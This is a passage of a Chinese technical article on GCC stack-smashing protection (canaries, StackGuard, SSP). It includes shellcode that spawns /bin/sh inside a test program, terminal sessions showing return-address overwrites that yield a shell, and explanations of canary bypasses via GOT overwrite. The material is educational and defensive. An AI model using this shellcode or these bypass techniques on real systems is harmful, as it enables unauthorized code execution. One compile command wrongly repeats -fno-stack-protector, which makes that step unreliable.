word。这样,当缓冲区被溢出时,在返回地址被覆盖之前 canary word 会首先被覆盖。通过检查 canary word
的值是否被修改,就可以判断是否发生了溢出攻击。
常见的 canary word:
由于绝大多数的溢出漏洞都是由那些不做数组越界检查的 C 字符串处理函数引起的,而这些字符串都是以 NULL 作为终结字符的。选择 NULL,
CR, LF 这样的字符作为 canary word 就成了很自然的事情。例如,若 canary word 为
0x000aff0d,为了使溢出不被检测到,攻击者需要在溢出字符串中包含 0x000aff0d 并精确计算 canaries 的位置,使
canaries 看上去没有被改变。然而,0x000aff0d 中的 0x00 会使 strcpy() 结束复制从而防止返回地址被覆盖。而
0x0a 会使 gets() 结束读取。插入的 terminator canaries 给攻击者制造了很大的麻烦。
这种 canaries
是随机产生的。并且这样的随机数通常不能被攻击者读取。这种随机数在程序初始化时产生,然后保存在一个未被隐射到虚拟地址空间的内存页中。这样当攻击者试
图通过指针访问保存随机数的内存时就会引发 segment fault。但是由于这个随机数的副本最终会作为 canary word
被保存在函数栈中,攻击者仍有可能通过函数栈获得 canary word 的值。
这种 canaries 是由一个随机数和函数栈中的所有控制信息、返回地址通过异或运算得到。这样,函数栈中的 canaries 或者任何控制信息、返回地址被修改就都能被检测到了。
目前主要的编译器堆栈保护实现,如 Stack Guard,Stack-smashing Protection(SSP) 均把
Canaries 探测作为主要的保护技术,但是 Canaries 的产生方式各有不同。下面以 GCC 为例,简要介绍堆栈保护技术在 GCC
中的应用。
Stack Guard 是第一个使用 Canaries 探测的堆栈保护实现,它于 1997 年作为 GCC 的一个扩展发布。最初版本的
Stack Guard 使用 0x00000000 作为 canary word。尽管很多人建议把 Stack Guard 纳入 GCC,作为
GCC 的一部分来提供堆栈保护。但实际上,GCC 3.x 没有实现任何的堆栈保护。直到 GCC 4.1 堆栈保护才被加入,并且 GCC4.1
所采用的堆栈保护实现并非 Stack Guard,而是 Stack-smashing Protection(SSP,又称 ProPolice)。
SSP 在 Stack Guard 的基础上进行了改进和提高。它是由 IBM 的工程师 Hiroaki Rtoh 开发并维护的。与
Stack Guard 相比,SSP 保护函数返回地址的同时还保护了栈中的 EBP 等信息。此外,SSP
还有意将局部变量中的数组放在函数栈的高地址,而将其他变量放在低地址。这样就使得通过溢出一个数组来修改其他变量(比如一个函数指针)变得更为困难。
-fstack-protector:
启用堆栈保护,不过只为局部变量中含有 char 数组的函数插入保护代码。
-fstack-protector-all:
启用堆栈保护,为所有函数插入保护代码。
-fno-stack-protector:
禁用堆栈保护。
下面通过一个例子分析 GCC 堆栈保护所生成的代码。分别使用 -fstack-protector 选项和
-fno-stack-protector 编译清单2中的代码得到可执行文件 demo_sp
(-fstack-protector),demo_nosp (-fno-stack-protector)。
int main() { int i; char buffer[64]; i = 1; buffer[0] = 'a'; return 0; } (gdb) disas main Dump of assembler code for function main: 0x08048344 : lea 0x4(%esp),%ecx 0x08048348 : and $0xfffffff0,%esp 0x0804834b : pushl 0xfffffffc(%ecx) 0x0804834e : push %ebp 0x0804834f : mov %esp,%ebp 0x08048351 : push %ecx 0x08048352 : sub $0x50,%esp 0x08048355 : movl $0x1,0xfffffff8(%ebp) 0x0804835c : movb $0x61,0xffffffb8(%ebp) 0x08048360 : mov $0x0,%eax 0x08048365 : add $0x50,%esp 0x08048368 : pop %ecx 0x08048369 : pop %ebp 0x0804836a : lea 0xfffffffc(%ecx),%esp 0x0804836d : ret End of assembler dump. (gdb) disas main Dump of assembler code for function main: 0x08048394 : lea 0x4(%esp),%ecx 0x08048398 : and $0xfffffff0,%esp 0x0804839b : pushl 0xfffffffc(%ecx) 0x0804839e : push %ebp 0x0804839f : mov %esp,%ebp 0x080483a1 : push %ecx 0x080483a2 : sub $0x54,%esp 0x080483a5 : mov %gs:0x14,%eax 0x080483ab : mov %eax,0xfffffff8(%ebp) 0x080483ae : xor %eax,%eax 0x080483b0 : movl $0x1,0xffffffb4(%ebp) 0x080483b7 : movb $0x61,0xffffffb8(%ebp) 0x080483bb : mov $0x0,%eax 0x080483c0 : mov 0xfffffff8(%ebp),%edx 0x080483c3 : xor %gs:0x14,%edx 0x080483ca : je 0x80483d1 0x080483cc : call 0x80482fc <__stack_chk_fail@plt> 0x080483d1 : add $0x54,%esp 0x080483d4 : pop %ecx 0x080483d5 : pop %ebp 0x080483d6 : lea 0xfffffffc(%ecx),%esp 0x080483d9 : ret End of assembler dump. demo_nosp 的汇编代码中地址为 0x08048344 的指令将 esp+4 存入 ecx,此时 esp
指向的内存中保存的是返回地址。地址为 0x0804834b 的指令将 ecx-4 所指向的内存压栈,由于之前已将 esp+4 存入
ecx,所以该指令执行后原先 esp 指向的内容将被压栈,即返回地址被再次压栈。0x08048348 处的 and 指令使堆顶以 16
字节对齐。从 0x0804834e 到 0x08048352 的指令是则保存了旧的
EBP,并为函数设置了新的栈框。当函数完成时,0x08048360 处的 mov 指令将返回值放入 EAX,然后恢复原来的
EBP,ESP。不难看出,demo_nosp 的汇编代码中,没有任何对堆栈进行检查和保护的代码。
将用 -fstack-protector 选项编译的 demo_sp 与没有堆栈保护的 demo_nosp 的汇编代码相比较,两者最显著的区别就是在函数真正执行前多了 3 条语句:
0x080483a5 : mov %gs:0x14,%eax 0x080483ab : mov %eax,0xfffffff8(%ebp) 0x080483ae : xor %eax,%eax 在函数返回前又多了 4 条语句: 0x080483c0 : mov 0xfffffff8(%ebp),%edx 0x080483c3 : xor %gs:0x14,%edx 0x080483ca : je 0x80483d1 0x080483cc : call 0x80482fc <__stack_chk_fail@plt> 这多出来的语句便是 SSP 堆栈保护的关键所在,通过这几句代码就在函数栈框中插入了一个 Canary,并实现了通过这个 canary 来检测函数栈是否被破坏。
%gs:0x14 中保存是一个随机数,0x080483a5 到 0x080483ae 处的 3 条语句将这个随机数放入了栈中
[EBP-8] 的位置。函数返回前 0x080483c0 到 0x080483cc 处的 4 条语句则将栈中 [EBP-8] 处保存的
Canary 取出并与 %gs:0x14 中的随机数作比较。若不等,则说明函数执行过程中发生了溢出,函数栈框已经被破坏,此时程序会跳转到
__stack_chk_fail 输出错误消息然后中止运行。若相等,则函数正常返回。
以上代码揭露了 GCC 中 canary 的实现方式。仔细观察 demo_sp 和 demo_nosp 的汇编代码,不难发现两者还有一个细微的区别:开启了堆栈保护的 semo_sp 程序中,局部变量的顺序被重新组织了。
程序中, movl $0x1,0xffffff**(%ebp) 对应于 i = 1;
movb $0x61,0xffffff**(%ebp) 对应于 buffer[0] = ‘a’;
demo_nosp 中,变量 i 的地址为 0xfffffff8(%ebp),buffer[0] 的地址为
0xffffffb8(%ebp)。可见,demo_nosp 中,变量 i 在 buffer
数组之前,变量在内存中的顺序与代码中定义的顺序相同,见图 3 左。而在 demo_sp 中,变量 i 的地址为 0xffffffb4
(%ebp),buffer[0] 的地址为 0xffffffb8(%ebp),即 buffer 数组被挪到了变量 i 的前面,见图 3 右。
demo_sp 中局部变量的组织方式对防御某些溢出攻击是有益的。如果数组在其他变量之后(图 3 左),那么即使返回地址受到 canary
的保护而无法修改,攻击者也可能通过溢出数组来修改其他局部变量(如本例中的 int
i)。当被修改的其他局部变量是一个函数指针时,攻击者就很可能利用这种溢出,将函数指针用 shellcode
的地址覆盖,从而实施攻击。然而如果用图 3 右的方式来组织堆栈,就会给这类溢出攻击带来很大的困难。
以上我们从实现的角度分析了 GCC 中的堆栈保护。下面将用一个小程序 overflow_test.c 来验证 GCC 堆栈保护的实际效果。
#include
#include char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int test() { int i; unsigned int stack[10]; char my_str[16]; printf("addr of shellcode in decimal: %d\n", &shellcode); for (i = 0; i < 10; i++) stack[i] = 0; while (1) { printf("index of item to fill: (-1 to quit): "); scanf("%d",&i); if (i == -1) { break; } printf("value of item[%d]:", i); scanf("%d",&stack[i]); } return 0; } int main() { test(); printf("Overflow Failed\n"); return 0; } 该程序不是一个实际的漏洞程序,也不是一个攻击程序,它只是通过模拟溢出攻击来验证 GCC 堆栈保护的一个测试程序。它首先会打印出 shellcode 的地址,然后接受用户的输入,为 stack 数组中指定的元素赋值,并且不会对数组边界进行检查。
关闭堆栈保护,编译程序
aktoon@aktoon-thinkpad:~/SCAD/overflow_test$ gcc –fno-stack-protector -o overflow_test ./overflow_test.c 不难算出关闭堆栈保护时,stack[12] 指向的位置就是栈中存放返回地址的地方。在 stack [10],stack[11],stack[12] 处填入 shellcode 的地址来模拟通常的溢出攻击: aktoon@aktoon-thinkpad:~/SCAD/overflow_test$ ./overflow_test addr of shellcode in decimal: 134518560 index of item to fill: (-1 to quit): 10 value of item[11]: 134518560 index of item to fill: (-1 to quit): 11 value of item[11]: 134518560 index of item to fill: (-1 to quit): 12 value of item[12]:134518560 index of item to fill: (-1 to quit): -1 $ ps PID TTY TIME CMD 15035 pts/4 00:00:00 bash 29757 pts/4 00:00:00 sh 29858 pts/4 00:00:00 ps 程序被成功溢出转而执行 shellcode 获得了一个 shell。由于没有开启堆栈保护,溢出得以成功。
然后开启堆栈保护,再次编译并运行程序。
aktoon@aktoon-thinkpad:~/SCAD/overflow_test$ gcc –fno-stack-protector -o overflow_test ./overflow_test.c 通过 gdb 反汇编,不难算出,开启堆栈保护后,返回地址位于 stack[17] 的位置,而 canary 位于 stack[16] 处。在 stack[10],stack[11]…stack[17] 处填入 shellcode 的地址来模拟溢出攻击: aktoon@aktoon-thinkpad:~/SCAD/overflow_test$ ./overflow_test addr of shellcode in decimal: 134518688 index of item to fill: (-1 to quit): 10 value of item[11]: 134518688 index of item to fill: (-1 to quit): 11 value of item[11]: 134518688 index of item to fill: (-1 to quit): 12 value of item[11]: 134518688 index of item to fill: (-1 to quit): 13 value of item[11]: 134518688 index of item to fill: (-1 to quit): 14 value of item[11]: 134518688 index of item to fill: (-1 to quit): 15 value of item[11]: 134518688 index of item to fill: (-1 to quit): 16 value of item[12]: 134518688 index of item to fill: (-1 to quit): 17 value of item[12]: 134518688 index of item to fill: (-1 to quit): -1 Overflow Failed *** stack smashing detected ***: ./overflow_test terminated Aborted 这次溢出攻击失败了,提示 ”stack smashing detected”,表明溢出被检测到了。按照之前对 GCC 生成的堆栈保护代码的分析,失败应该是由于 canary 被改变引起的。通过反汇编和计算我们已经知道返回地址位于 stack[17],而 canary 位于 stack[16]。接下来尝试绕过 canary,只对返回地址进行修改。 aktoon@aktoon-thinkpad:~/SCAD/overflow_test$ ./overflow_test addr of shellcode in decimal: 134518688 index of item to fill: (-1 to quit): 17 value of item[17]:134518688 index of item to fill: (-1 to quit): -1 $ ls *.c bypass.c exe.c exp1.c of_demo.c overflow.c overflow_test.c toto.c vul1.c $ 这次只把 stack[17] 用 shellcode 的地址覆盖了,由于没有修改 canary,返回地址的修改没有被检测到,shellcode 被成功执行了。同样的道理,即使我们没有修改函数的返回地址,只要 canary 被修改了(stack[16]),程序就会被保护代码中止。 aktoon@aktoon-thinkpad:~/SCAD/overflow_test$ ./overflow_test addr of shellcode in decimal: 134518688 index of item to fill: (-1 to quit): 16 value of item[16]:134518688 index of item to fill: (-1 to quit): -1 Overflow Failed *** stack smashing detected ***: ./overflow_test terminated Aborted 在上面的测试中,我们看到编译器的插入的保护代码阻止了通常的溢出攻击。实际上,现在编译器堆栈保护技术确实使堆栈溢出攻击变得困难了。
在上面的例子中,我们发现假如攻击者能够购绕过 canary,仍然有成功实施溢出攻击的可能。除此以外,还有一些其他的方法能够突破编译器的保护,当然这些方法需要更多的技巧,应用起来也较为困难。下面对突破编译器堆栈保护的方法做一简介。
Canary 探测方法仅对函数堆中的控制信息 (canary word, EBP)
和返回地址进行了保护,没有对局部变量进行保护。通过溢出覆盖某些局部变量也可能实施溢出攻击。此外,Stack Guard 和 SSP
都只提供了针对栈的溢出保护,不能防御堆中的溢出攻击。
在某些情况下,攻击者还可以利用函数参数来实现溢出攻击。我们用下面的例子来说明这种攻击的原理。
int func(char *msg) { char buf[80]; strcpy(buf,msg); strcpy(msg,buf); } int main(int argv, char** argc) { func(argc[1]); } 运行时,func 函数的栈框如下图所示。
通过 strcpy(buf,msg),我们可以将 buf 数组溢出,直至将参数 msg 覆盖。接下来的 strcpy(msg,buf)
会向 msg 所指向的内存中写入 buf 中的内容。由于第一步的溢出中,我们已经控制了 msg
的内容,所以实际上通过上面两步我们可以向任何不受保护的内存中写入任何数据。虽然在以上两步中,canaries
已经被破坏,但是这并不影响我们完成溢出攻击,因为针对 canaries
的检查只在函数返回前才进行。通过构造合适的溢出字符串,我们可以修改内存中程序 ELF 映像的 GOT(Global Offset
Table)。假如我们通过溢出字符串修改了 GOT 中 _exit() 的入口,使其指向我们的 shellcode,当函数返回前检查到
canary 被修改后,会提示出错并调用 _exit() 中止程序。而此时的的 _exit() 已经指向了我们的
shellcode,所以程序不会退出,并且 shellcode 会被执行,这样就达到了溢出攻击的目的。
上面的例子展示了利用参数避开保护进行溢出攻击的原理。此外,由于返回地址是根据 EBP
来定位的,即使我们不能修改返回地址,假如我们能够修改 EBP 的值,那么就修改了存放返回地址的位置,相当于间接的修改了返回地址。可见,GCC
的堆栈保护并不是万能的,它仍有一定的局限性,并不能完全杜绝堆栈溢出攻击。虽然面对编译器的堆栈保护,我们仍可能有一些技巧来突破这些保护,但是这些技
巧通常受到很多条件的制约,实际应用起来有一定的难度。
本文介绍了编译器所采用的以 Canaries 探测为主的堆栈保护技术,并且以 GCC 为例展示了 SSP
的实现方式和实际效果。最后又简单介绍了突破编译器保护的一些方法。尽管攻击者仍能通过一些技巧来突破编译器的保护,但编译器加入的堆栈保护机制确实给溢
出攻击造成了很大的困难。本文仅从编译器的角度讨论了防御溢出攻击的方法。要真正防止堆栈溢出攻击,单从编译器入手还是不够的,完善的系统安全策略也相当
重要,此外,良好的编程习惯,使用带有数组越界检查的 libc 也会对防止溢出攻击起到重要作用。
参考资料 * 请参考 ProPolice 官方网站:http://www.research.ibm.com/trl/projects/security/ssp/。 * 请参考 Crispin Cowan, Perry Wagle, Calton Pu, Steve Beattie, and Jonathan Walpol 的 Buffer Overflows: Attacks and Defenses for the Vulnerability of the Decade。 * 请参考 IBM developerWorks 上的 Linux 下缓冲区溢出攻击的原理及对策 * 在 developerWorks Linux 专区 寻找为 Linux 开发人员(包括 Linux 新手入门)准备的更多参考资料,查阅我们 最受欢迎的文章和教程。 * 在 developerWorks 上查阅所有 Linux 技巧 和 Linux 教程。 关于作者 何文垒,上海交通大学信息安全工程学院学生,对 Linux 以及安全技术有浓厚兴趣。目前在IBM中国系统科技实验室存储研发部门实习。